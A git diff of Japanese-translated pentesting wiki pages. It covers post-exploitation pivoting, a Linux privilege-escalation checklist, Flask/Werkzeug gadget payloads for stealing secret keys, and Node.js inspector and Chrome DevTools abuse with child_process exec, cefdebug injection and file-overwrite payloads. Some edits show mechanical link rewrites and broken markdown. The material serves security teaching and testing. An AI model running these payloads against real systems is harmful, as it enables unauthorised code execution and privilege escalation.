#### **10.2- ドメイン特権昇格**
|
||||||
|
|
||||||
ここに、[**Active Directoryで特権を列挙、昇格、持続するための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/)があります。このプロセスは、ペンテスト/レッドチームの任務において**非常にデリケート**である可能性があります。
|
ここに、[**Active Directoryで特権を列挙、昇格、持続させるための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/index.html)があります。これはセクションのサブセクションに過ぎませんが、このプロセスはペンテスト/レッドチームの任務において**非常にデリケート**である可能性があります。
|
||||||
|
|
||||||
### 11 - POST
|
### 11 - POST
|
||||||
|
|
||||||
#### **11**.1 - ルーティング
|
#### **11**.1 - ルーティング
|
||||||
|
|
||||||
ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で**他のマシンにアクセス**できるか確認してください。\
|
ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で他のマシンに**アクセス**できるか確認してください。\
|
||||||
ここに、[**Windowsでパスワードをダンプするためのさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)があります。
|
ここに、Windowsで[**パスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)があります。
|
||||||
|
|
||||||
#### 11.2 - 持続性
|
#### 11.2 - 持続性
|
||||||
|
|
||||||
**システムを再度攻撃する必要がないように、2つまたは3つの異なる持続メカニズムを使用してください。**\
|
**システムを再度攻撃する必要がないように、2つまたは3つの異なる持続メカニズムを使用してください。**\
|
||||||
**ここに、Active Directoryに関するいくつかの** [**持続性トリックがあります**](../windows-hardening/active-directory-methodology/index.html#persistence)**。**
|
**ここに、Active Directoryでの** [**持続性のトリック**](../windows-hardening/active-directory-methodology/index.html#persistence)**があります。**
|
||||||
|
|
||||||
TODO: WindowsとLinuxの持続性ポストを完成させる
|
TODO: WindowsとLinuxの持続性ポストを完成させる
|
||||||
|
|
||||||
### 12 - ピボッティング
|
### 12 - ピボッティング
|
||||||
|
|
||||||
**収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(被害者が接続されている新しいネットワーク内でペンテスト手法を再スタート)。\
|
**収集した資格情報**で他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(ペンテスト手法を再度開始)。\
|
||||||
この場合、トンネリングが必要になるかもしれません。[**トンネリングに関する投稿を見つけることができます**](../generic-hacking/tunneling-and-port-forwarding.md)。\
|
この場合、トンネリングが必要になるかもしれません。ここに[**トンネリングに関する投稿があります**](../generic-hacking/tunneling-and-port-forwarding.md)。\
|
||||||
また、[Active Directoryペンテスト手法](../windows-hardening/active-directory-methodology/)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\
|
また、[Active Directoryペンテスト手法](../windows-hardening/active-directory-methodology/index.html)に関する投稿も必ず確認してください。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\
|
||||||
[**NTLM**](../windows-hardening/ntlm/)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。
|
[**NTLM**](../windows-hardening/ntlm/index.html)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。
|
||||||
|
|
||||||
### もっと
|
### もっと
|
||||||
|
|
||||||
#### [Androidアプリケーション](../mobile-pentesting/android-app-pentesting/)
|
#### [Androidアプリケーション](../mobile-pentesting/android-app-pentesting/index.html)
|
||||||
|
|
||||||
#### **エクスプロイト**
|
#### **エクスプロイト**
|
||||||
|
|
||||||
- [**基本的なLinuxエクスプロイト**](broken-reference/)
|
- [**基本的なLinuxエクスプロイト**](broken-reference/index.html)
|
||||||
- [**基本的なWindowsエクスプロイト**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
- [**基本的なWindowsエクスプロイト**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
- [**基本的なエクスプロイトツール**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
- [**基本的なエクスプロイトツール**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
|
||||||
|
|
||||||
#### [**基本的なPython**](python/)
|
#### [**基本的なPython**](python/index.html)
|
||||||
|
|
||||||
#### **暗号トリック**
|
#### **暗号トリック**
|
||||||
|
|
||||||
|
@ -6,8 +6,8 @@
|
|||||||
|
|
||||||
- [**Pyscript hacking tricks**](pyscript.md)
|
- [**Pyscript hacking tricks**](pyscript.md)
|
||||||
- [**Python deserializations**](../../pentesting-web/deserialization/index.html#python)
|
- [**Python deserializations**](../../pentesting-web/deserialization/index.html#python)
|
||||||
- [**Pythonサンドボックスをバイパスするためのトリック**](bypass-python-sandboxes/)
|
- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/index.html)
|
||||||
- [**基本的なPythonウェブリクエストの構文**](web-requests.md)
|
- [**Basic python web requests syntax**](web-requests.md)
|
||||||
- [**基本的なPythonの構文とライブラリ**](basic-python.md)
|
- [**Basic python syntax and libraries**](basic-python.md)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -13,19 +13,19 @@ Flaskアプリケーションのメインページには、**`app`**グローバ
|
|||||||
app = Flask(__name__, template_folder='templates')
|
app = Flask(__name__, template_folder='templates')
|
||||||
app.secret_key = '(:secret:)'
|
app.secret_key = '(:secret:)'
|
||||||
```
|
```
|
||||||
この場合、**グローバルオブジェクトにアクセスする**ために、任意のガジェットを使用してこのオブジェクトにアクセスすることが可能です。[**Pythonサンドボックスのバイパスページ**](bypass-python-sandboxes/)から。
|
この場合、[**Pythonサンドボックスのバイパスページ**](bypass-python-sandboxes/index.html)から**グローバルオブジェクトにアクセス**するために、任意のガジェットを使用してこのオブジェクトにアクセスすることが可能です。
|
||||||
|
|
||||||
**脆弱性が異なるPythonファイルにある場合**、メインのファイルに到達するためにファイルを横断するガジェットが必要で、**グローバルオブジェクト `app.secret_key`** にアクセスしてFlaskのシークレットキーを変更し、このキーを知って[**権限を昇格させる**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)ことができます。
|
**脆弱性が異なるPythonファイルにある場合**、グローバルオブジェクト`app.secret_key`にアクセスしてFlaskのシークレットキーを変更し、このキーを知って[**権限を昇格させる**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)ために、ファイルを横断するためのガジェットが必要です。
|
||||||
|
|
||||||
このようなペイロードは[この解説から](https://ctftime.org/writeup/36082):
|
このようなペイロードは[この解説から](https://ctftime.org/writeup/36082):
|
||||||
```python
|
```python
|
||||||
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
|
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
|
||||||
```
|
```
|
||||||
このペイロードを使用して、**`app.secret_key`**(あなたのアプリでは名前が異なる場合があります)を変更し、新しいより権限のあるフラスククッキーに署名できるようにします。
|
このペイロードを使用して、**`app.secret_key`**(あなたのアプリでは名前が異なる場合があります)を変更し、新しくより多くの権限を持つフラスククッキーに署名できるようにします。
|
||||||
|
|
||||||
### Werkzeug - machine_id と node uuid
|
### Werkzeug - machine_id と node uuid
|
||||||
|
|
||||||
[**この書き込みからのペイロードを使用することで**](https://vozec.fr/writeups/tweedle-dum-dee/)、**machine_id** と **uuid** ノードにアクセスでき、これらは **Werkzeug pin** を生成するために必要な **主な秘密** です。[**これを使用して**](../../network-services-pentesting/pentesting-web/werkzeug.md)、**デバッグモードが有効な場合**、`/console` で Python コンソールにアクセスできます。
|
[**この書き込みからのペイロードを使用することで**](https://vozec.fr/writeups/tweedle-dum-dee/)、**machine_id** と **uuid** ノードにアクセスでき、これらは **主な秘密** であり、[**Werkzeugピンを生成するために必要です**](../../network-services-pentesting/pentesting-web/werkzeug.md)。これを使用して、**デバッグモードが有効な場合**に `/console` で Python コンソールにアクセスできます。
|
||||||
```python
|
```python
|
||||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
|
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
|
||||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
|
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
|
||||||
|
@ -17,7 +17,7 @@
|
|||||||
|
|
||||||
### [ドライブ](privilege-escalation/index.html#drives)
|
### [ドライブ](privilege-escalation/index.html#drives)
|
||||||
|
|
||||||
- [ ] **マウントされた**ドライブを**リスト**
|
- [ ] **マウントされた**ドライブをリスト
|
||||||
- [ ] **アンマウントされたドライブはあるか?**
|
- [ ] **アンマウントされたドライブはあるか?**
|
||||||
- [ ] **fstabにクレデンシャルはあるか?**
|
- [ ] **fstabにクレデンシャルはあるか?**
|
||||||
|
|
||||||
@ -33,14 +33,14 @@
|
|||||||
- [ ] **実行中のプロセスのエクスプロイトを検索**(特に実行中のバージョン)。
|
- [ ] **実行中のプロセスのエクスプロイトを検索**(特に実行中のバージョン)。
|
||||||
- [ ] **実行中のプロセスのバイナリを変更**できるか?
|
- [ ] **実行中のプロセスのバイナリを変更**できるか?
|
||||||
- [ ] **プロセスを監視**し、興味深いプロセスが頻繁に実行されているか確認。
|
- [ ] **プロセスを監視**し、興味深いプロセスが頻繁に実行されているか確認。
|
||||||
- [ ] **興味深いプロセスメモリを**(パスワードが保存されている可能性がある場所)**読み取る**ことができるか?
|
- [ ] **興味深いプロセスメモリを**(パスワードが保存されている可能性がある場所)**読み取ることができるか?**
|
||||||
|
|
||||||
### [スケジュールされた/cronジョブ?](privilege-escalation/index.html#scheduled-jobs)
|
### [スケジュールされた/cronジョブ?](privilege-escalation/index.html#scheduled-jobs)
|
||||||
|
|
||||||
- [ ] [**PATH**](privilege-escalation/index.html#cron-path)がcronによって変更されており、**書き込み**できるか?
|
- [ ] [**PATH**](privilege-escalation/index.html#cron-path)がcronによって変更されており、**書き込み**できるか?
|
||||||
- [ ] cronジョブに[**ワイルドカード**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection)はあるか?
|
- [ ] cronジョブに[**ワイルドカード**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection)はあるか?
|
||||||
- [ ] **変更可能なスクリプト**が**実行されている**か、**変更可能なフォルダ**内にあるか?
|
- [ ] **実行中の**[**変更可能なスクリプト**](privilege-escalation/index.html#cron-script-overwriting-and-symlink)があるか、または**変更可能なフォルダ**内にあるか?
|
||||||
- [ ] **スクリプトが非常に頻繁に実行されている**ことを検出したか?(1、2、または5分ごと)
|
- [ ] 何らかの**スクリプトが非常に頻繁に実行されている**ことを検出したか?(1、2、または5分ごと)
|
||||||
|
|
||||||
### [サービス](privilege-escalation/index.html#services)
|
### [サービス](privilege-escalation/index.html#services)
|
||||||
|
|
||||||
@ -64,7 +64,7 @@
|
|||||||
|
|
||||||
### [ネットワーク](privilege-escalation/index.html#network)
|
### [ネットワーク](privilege-escalation/index.html#network)
|
||||||
|
|
||||||
- [ ] ネットワークを列挙して自分の位置を知る
|
- [ ] ネットワークを列挙して自分の位置を把握
|
||||||
- [ ] **シェルを取得する前にアクセスできなかったオープンポート**はあるか?
|
- [ ] **シェルを取得する前にアクセスできなかったオープンポート**はあるか?
|
||||||
- [ ] `tcpdump`を使用して**トラフィックをスニッフィング**できるか?
|
- [ ] `tcpdump`を使用して**トラフィックをスニッフィング**できるか?
|
||||||
|
|
||||||
@ -72,26 +72,26 @@
|
|||||||
|
|
||||||
- [ ] 一般的なユーザー/グループの**列挙**
|
- [ ] 一般的なユーザー/グループの**列挙**
|
||||||
- [ ] **非常に大きなUID**を持っているか?**マシンは脆弱か?**
|
- [ ] **非常に大きなUID**を持っているか?**マシンは脆弱か?**
|
||||||
- [ ] **所属するグループ**のおかげで[**特権を昇格**](privilege-escalation/interesting-groups-linux-pe/)できるか?
|
- [ ] 所属する[**グループのおかげで特権を昇格**](privilege-escalation/interesting-groups-linux-pe/index.html)できるか?
|
||||||
- [ ] **クリップボード**データは?
|
- [ ] **クリップボード**データはあるか?
|
||||||
- [ ] パスワードポリシーは?
|
- [ ] パスワードポリシーは?
|
||||||
- [ ] **以前に発見したすべての既知のパスワードを使用して、各**可能な**ユーザー**でログインを試みる。パスワードなしでのログインも試みる。
|
- [ ] 以前に発見した**すべての既知のパスワードを使用して、各**可能な**ユーザーでログインを試みる。パスワードなしでもログインを試みる。
|
||||||
|
|
||||||
### [書き込み可能なPATH](privilege-escalation/index.html#writable-path-abuses)
|
### [書き込み可能なPATH](privilege-escalation/index.html#writable-path-abuses)
|
||||||
|
|
||||||
- [ ] **PATH内のいくつかのフォルダに書き込み権限がある場合、特権を昇格できる可能性がある**
|
- [ ] **PATH内のいくつかのフォルダに書き込み権限がある場合**、特権を昇格できる可能性がある
|
||||||
|
|
||||||
### [SUDOおよびSUIDコマンド](privilege-escalation/index.html#sudo-and-suid)
|
### [SUDOおよびSUIDコマンド](privilege-escalation/index.html#sudo-and-suid)
|
||||||
|
|
||||||
- [ ] **sudoで任意のコマンドを実行**できるか?それを使用して、rootとして何かを**読み取り、書き込み、または実行**できるか? ([**GTFOBins**](https://gtfobins.github.io))
|
- [ ] **sudoで任意のコマンドを実行**できるか?それを使用して、rootとして何かを**読み取り、書き込み、または実行**できるか? ([**GTFOBins**](https://gtfobins.github.io))
|
||||||
- [ ] **エクスプロイト可能なSUIDバイナリ**はあるか? ([**GTFOBins**](https://gtfobins.github.io))
|
- [ ] **エクスプロイト可能なSUIDバイナリ**はあるか? ([**GTFOBins**](https://gtfobins.github.io))
|
||||||
- [ ] [**sudoコマンドが**パスによって**制限されている**か?制限を**バイパス**できるか](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
|
- [ ] [**sudo**コマンドが**パスによって制限されている**か?制限を**バイパス**できるか](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
|
||||||
- [ ] [**パスが示されていないSudo/SUIDバイナリ**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)はあるか?
|
- [ ] [**パスが示されていないSudo/SUIDバイナリ**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)はあるか?
|
||||||
- [ ] [**パスを指定したSUIDバイナリ**](privilege-escalation/index.html#suid-binary-with-command-path)は?バイパス
|
- [ ] [**パスを指定したSUIDバイナリ**](privilege-escalation/index.html#suid-binary-with-command-path)は? バイパス
|
||||||
- [ ] [**LD_PRELOAD脆弱性**](privilege-escalation/index.html#ld_preload)
|
- [ ] [**LD_PRELOAD脆弱性**](privilege-escalation/index.html#ld_preload)
|
||||||
- [ ] **書き込み可能なフォルダからのSUIDバイナリにおける**[**.soライブラリの欠如**](privilege-escalation/index.html#suid-binary-so-injection)は?
|
- [ ] **書き込み可能なフォルダからのSUIDバイナリにおける.soライブラリの欠如**はあるか?](privilege-escalation/index.html#suid-binary-so-injection)
|
||||||
- [ ] [**利用可能なSUDOトークン**](privilege-escalation/index.html#reusing-sudo-tokens)は? [**SUDOトークンを作成できるか**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
|
- [ ] [**利用可能なSUDOトークン**](privilege-escalation/index.html#reusing-sudo-tokens)はあるか? [**SUDOトークンを作成できるか**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
|
||||||
- [ ] [**sudoersファイルを読み取るまたは変更する**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)ことができるか?
|
- [ ] [**sudoersファイルを読み取るまたは変更することができるか**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)?
|
||||||
- [ ] [**/etc/ld.so.conf.d/**を**変更できるか**](privilege-escalation/index.html#etc-ld-so-conf-d)?
|
- [ ] [**/etc/ld.so.conf.d/**を**変更できるか**](privilege-escalation/index.html#etc-ld-so-conf-d)?
|
||||||
- [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas)コマンド
|
- [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas)コマンド
|
||||||
|
|
||||||
@ -117,7 +117,7 @@
|
|||||||
|
|
||||||
- [ ] **プロファイルファイル** - 機密データを読み取る?特権昇格のために書き込む?
|
- [ ] **プロファイルファイル** - 機密データを読み取る?特権昇格のために書き込む?
|
||||||
- [ ] **passwd/shadowファイル** - 機密データを読み取る?特権昇格のために書き込む?
|
- [ ] **passwd/shadowファイル** - 機密データを読み取る?特権昇格のために書き込む?
|
||||||
- [ ] 機密データのために**一般的に興味深いフォルダ**を確認
|
- [ ] 機密データのために**一般的に興味深いフォルダを確認**
|
||||||
- [ ] **奇妙な場所/所有ファイル、**アクセスまたは実行可能ファイルを変更できるかもしれない
|
- [ ] **奇妙な場所/所有ファイル、**アクセスまたは実行可能ファイルを変更できるかもしれない
|
||||||
- [ ] **最近数分で変更された**
|
- [ ] **最近数分で変更された**
|
||||||
- [ ] **Sqlite DBファイル**
|
- [ ] **Sqlite DBファイル**
|
||||||
@ -131,13 +131,13 @@
|
|||||||
### [**書き込み可能なファイル**](privilege-escalation/index.html#writable-files)
|
### [**書き込み可能なファイル**](privilege-escalation/index.html#writable-files)
|
||||||
|
|
||||||
- [ ] **任意のコマンドを実行するためにpythonライブラリを変更**できるか?
|
- [ ] **任意のコマンドを実行するためにpythonライブラリを変更**できるか?
|
||||||
- [ ] **ログファイルを変更**できるか? **Logtotten**エクスプロイト
|
- [ ] **ログファイルを変更できるか?** **Logtotten**エクスプロイト
|
||||||
- [ ] **/etc/sysconfig/network-scripts/**を**変更**できるか? Centos/Redhatエクスプロイト
|
- [ ] **/etc/sysconfig/network-scripts/**を**変更できるか?** Centos/Redhatエクスプロイト
|
||||||
- [ ] [**ini、int.d、systemdまたはrc.dファイルに書き込む**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)ことができるか?
|
- [ ] [**ini、int.d、systemdまたはrc.dファイルに書き込むことができるか**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)?
|
||||||
|
|
||||||
### [**その他のトリック**](privilege-escalation/index.html#other-tricks)
|
### [**その他のトリック**](privilege-escalation/index.html#other-tricks)
|
||||||
|
|
||||||
- [ ] [**NFSを悪用して特権を昇格**](privilege-escalation/index.html#nfs-privilege-escalation)できるか?
|
- [ ] [**NFSを悪用して特権を昇格できるか**](privilege-escalation/index.html#nfs-privilege-escalation)?
|
||||||
- [ ] **制限されたシェルから脱出する必要があるか**?
|
- [ ] **制限されたシェルから脱出する必要があるか**](privilege-escalation/index.html#escaping-from-restricted-shells)?
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -27,7 +27,7 @@ node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
|
|||||||
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||||
For help, see: https://nodejs.org/en/docs/inspector
|
For help, see: https://nodejs.org/en/docs/inspector
|
||||||
```
|
```
|
||||||
プロセスは、**CEF**(**Chromium Embedded Framework**)に基づいており、**デバッガ**を開くためにパラメータ `--remote-debugging-port=9222` を使用する必要があります(SSRF保護は非常に似ています)。しかし、**NodeJS** **デバッグ**セッションを付与する代わりに、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を使用してブラウザと通信します。これはブラウザを制御するためのインターフェースですが、直接的なRCEはありません。
|
プロセスは、**CEF**(**Chromium Embedded Framework**)に基づいており、**デバッガ**を開くためにパラメータ `--remote-debugging-port=9222` を使用する必要があります(SSRF保護は非常に似ています)。しかし、**NodeJS** **デバッグ**セッションを付与する代わりに、ブラウザと[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を使用して通信します。これはブラウザを制御するためのインターフェースですが、直接的なRCEはありません。
|
||||||
|
|
||||||
デバッグされたブラウザを起動すると、次のようなものが表示されます:
|
デバッグされたブラウザを起動すると、次のようなものが表示されます:
|
||||||
```
|
```
|
||||||
@ -35,24 +35,24 @@ DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4
|
|||||||
```
|
```
|
||||||
### ブラウザ、WebSocket、および同一生成元ポリシー <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
|
### ブラウザ、WebSocket、および同一生成元ポリシー <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
|
||||||
|
|
||||||
ウェブブラウザで開かれたウェブサイトは、ブラウザのセキュリティモデルの下でWebSocketおよびHTTPリクエストを行うことができます。**ユニークなデバッガセッションIDを取得するためには、初期HTTP接続が必要です**。**同一生成元ポリシー**は、ウェブサイトが**このHTTP接続**を行うことを**防ぎます**。**DNSリバインディング攻撃**に対する追加のセキュリティとして、Node.jsは接続の**'Host'ヘッダー**が**IPアドレス**または**`localhost`**または**`localhost6`**を正確に指定していることを確認します。
|
ウェブブラウザで開かれたウェブサイトは、ブラウザのセキュリティモデルの下でWebSocketおよびHTTPリクエストを行うことができます。**初期HTTP接続**は、**ユニークなデバッガセッションIDを取得するため**に必要です。**同一生成元ポリシー**は、ウェブサイトが**このHTTP接続**を行うことを**防ぎます**。 [**DNSリバインディング攻撃**](https://en.wikipedia.org/wiki/DNS_rebinding)**に対する追加のセキュリティ**として、Node.jsは接続の**'Host'ヘッダー**が**IPアドレス**または**`localhost`**または**`localhost6`**を正確に指定していることを確認します。
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> この**セキュリティ対策は、インスペクタを悪用してコードを実行することを防ぎます**。**単にHTTPリクエストを送信することで**(これはSSRF脆弱性を悪用して行うことができたかもしれません)。
|
> この**セキュリティ対策は、インスペクタを悪用してコードを実行することを防ぎます**。**単にHTTPリクエストを送信することによって**(これはSSRF脆弱性を悪用して行うことができる)。
|
||||||
|
|
||||||
### 実行中のプロセスでインスペクタを開始する
|
### 実行中のプロセスでインスペクタを開始する
|
||||||
|
|
||||||
実行中のnodejsプロセスに**SIGUSR1信号**を送信することで、**デフォルトポートでインスペクタを開始させる**ことができます。ただし、十分な権限が必要であるため、これにより**プロセス内の情報への特権アクセスが得られる可能性がありますが、直接的な特権昇格はありません**。
|
実行中のnodejsプロセスに**SIGUSR1信号**を送信することで、**デフォルトポートでインスペクタを開始**させることができます。ただし、十分な特権が必要であるため、これにより**プロセス内の情報への特権アクセスが付与される可能性があります**が、直接的な特権昇格はありません。
|
||||||
```bash
|
```bash
|
||||||
kill -s SIGUSR1 <nodejs-ps>
|
kill -s SIGUSR1 <nodejs-ps>
|
||||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> これはコンテナ内で便利です。なぜなら、`--inspect`で**プロセスをシャットダウンして新しいプロセスを開始する**ことは**選択肢ではない**からです。**コンテナ**はプロセスと共に**終了**します。
|
> これはコンテナ内で便利です。なぜなら、`--inspect`で**プロセスをシャットダウンして新しいものを開始する**ことは**選択肢ではない**からです。**コンテナ**はプロセスと共に**終了**します。
|
||||||
|
|
||||||
### インスペクタ/デバッガに接続する
|
### インスペクタ/デバッガに接続する
|
||||||
|
|
||||||
**Chromiumベースのブラウザ**に接続するには、ChromeまたはEdgeそれぞれのために`chrome://inspect`または`edge://inspect`のURLにアクセスできます。Configureボタンをクリックして、**ターゲットホストとポート**が正しくリストされていることを確認する必要があります。画像はリモートコード実行(RCE)の例を示しています:
|
**Chromiumベースのブラウザ**に接続するには、ChromeまたはEdgeのそれぞれに対して`chrome://inspect`または`edge://inspect`のURLにアクセスできます。Configureボタンをクリックして、**ターゲットホストとポート**が正しくリストされていることを確認する必要があります。画像はリモートコード実行(RCE)の例を示しています:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -63,7 +63,7 @@ node inspect 127.0.0.1:9229
|
|||||||
# RCE example from debug console
|
# RCE example from debug console
|
||||||
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
|
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
|
||||||
```
|
```
|
||||||
ツール [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) は、**ローカルで実行されているインスペクターを見つけ**、**コードを注入する**ことを可能にします。
|
ツール [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) は、**ローカルで実行されているインスペクタを見つけ**、**コードを注入する**ことを可能にします。
|
||||||
```bash
|
```bash
|
||||||
#List possible vulnerable sockets
|
#List possible vulnerable sockets
|
||||||
./cefdebug.exe
|
./cefdebug.exe
|
||||||
@ -73,14 +73,14 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe
|
|||||||
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
|
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
|
||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> **NodeJS RCEの脆弱性は、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を介してブラウザに接続されている場合は機能しない**ことに注意してください(APIを確認して、興味深いことをする方法を見つける必要があります)。
|
> **NodeJS RCEの脆弱性は、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を介してブラウザに接続されている場合は機能しません**(APIを確認して、興味深いことを見つける必要があります)。
|
||||||
|
|
||||||
## NodeJSデバッガー/インスペクターにおけるRCE
|
## NodeJSデバッガー/インスペクターにおけるRCE
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> [**ElectronのXSSからRCEを取得する方法を探している場合は、このページを確認してください。**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
> [**ElectronのXSSからRCEを取得する方法を探している場合は、このページを確認してください。**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
|
||||||
|
|
||||||
Node **インスペクター**に**接続**できるときに**RCE**を取得する一般的な方法のいくつかは、(これは**Chrome DevToolsプロトコルへの接続では機能しないようです**)を使用することです:
|
Node **インスペクター**に接続できる場合に**RCE**を取得する一般的な方法のいくつかは、次のようなものを使用することです(これは**Chrome DevToolsプロトコルへの接続では機能しないようです**):
|
||||||
```javascript
|
```javascript
|
||||||
process.mainModule.require("child_process").exec("calc")
|
process.mainModule.require("child_process").exec("calc")
|
||||||
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
|
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
|
||||||
@ -90,13 +90,13 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
|
|||||||
## Chrome DevTools Protocol Payloads
|
## Chrome DevTools Protocol Payloads
|
||||||
|
|
||||||
APIはここで確認できます: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
|
APIはここで確認できます: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
|
||||||
このセクションでは、私が人々がこのプロトコルを悪用するために使用した興味深いことをリストします。
|
このセクションでは、プロトコルを悪用するために人々が使用した興味深いことをリストします。
|
||||||
|
|
||||||
### Deep Linksによるパラメータインジェクション
|
### Deep Linksによるパラメータインジェクション
|
||||||
|
|
||||||
[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)で、RhinoセキュリティはCEFに基づくアプリケーションがシステムにカスタムURI(workspaces://)を登録し、完全なURIを受け取り、そのURIから部分的に構成された設定でCEFベースのアプリケーションを起動することを発見しました。
|
[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)で、RhinoセキュリティはCEFに基づくアプリケーションがシステムにカスタムURI(workspaces://index.html)を登録し、完全なURIを受け取り、そのURIから部分的に構成された設定でCEFベースのアプリケーションを起動することを発見しました。
|
||||||
|
|
||||||
URIパラメータはURLデコードされ、CEF基本アプリケーションを起動するために使用され、ユーザーが**`--gpu-launcher`**フラグを**コマンドライン**に**インジェクト**し、任意のものを実行できることが判明しました。
|
URIパラメータはURLデコードされ、CEF基本アプリケーションを起動するために使用され、ユーザーが**`--gpu-launcher`**フラグを**コマンドライン**に注入し、任意のものを実行できることが判明しました。
|
||||||
|
|
||||||
したがって、ペイロードは次のようになります:
|
したがって、ペイロードは次のようになります:
|
||||||
```
|
```
|
||||||
@ -106,7 +106,7 @@ calc.exeを実行します。
|
|||||||
|
|
||||||
### ファイルの上書き
|
### ファイルの上書き
|
||||||
|
|
||||||
**ダウンロードしたファイルが保存されるフォルダ**を変更し、アプリケーションの**ソースコード**を**悪意のあるコード**で**上書き**するためにファイルをダウンロードします。
|
**ダウンロードしたファイルが保存されるフォルダー**を変更し、アプリケーションの**ソースコード**を**悪意のあるコード**で**上書き**するためにファイルをダウンロードします。
|
||||||
```javascript
|
```javascript
|
||||||
ws = new WebSocket(url) //URL of the chrome devtools service
|
ws = new WebSocket(url) //URL of the chrome devtools service
|
||||||
ws.send(
|
ws.send(
|
||||||
@ -128,7 +128,7 @@ downloadPath: "/code/",
|
|||||||
|
|
||||||
